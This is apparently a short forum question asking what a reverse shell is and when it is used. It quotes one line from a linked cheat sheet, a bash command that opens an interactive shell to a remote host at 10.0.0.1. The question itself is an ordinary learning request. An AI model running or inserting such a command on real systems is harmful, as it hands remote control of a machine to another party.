What is a reverse shell?
<p>Could someone explain in deep what is reverse shell about and in what cases are we supposed to use it?
I found this <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet" rel="noreferrer">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a> regarding the same, what is the meaning of: </p>

<pre><code>bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1
</code></pre>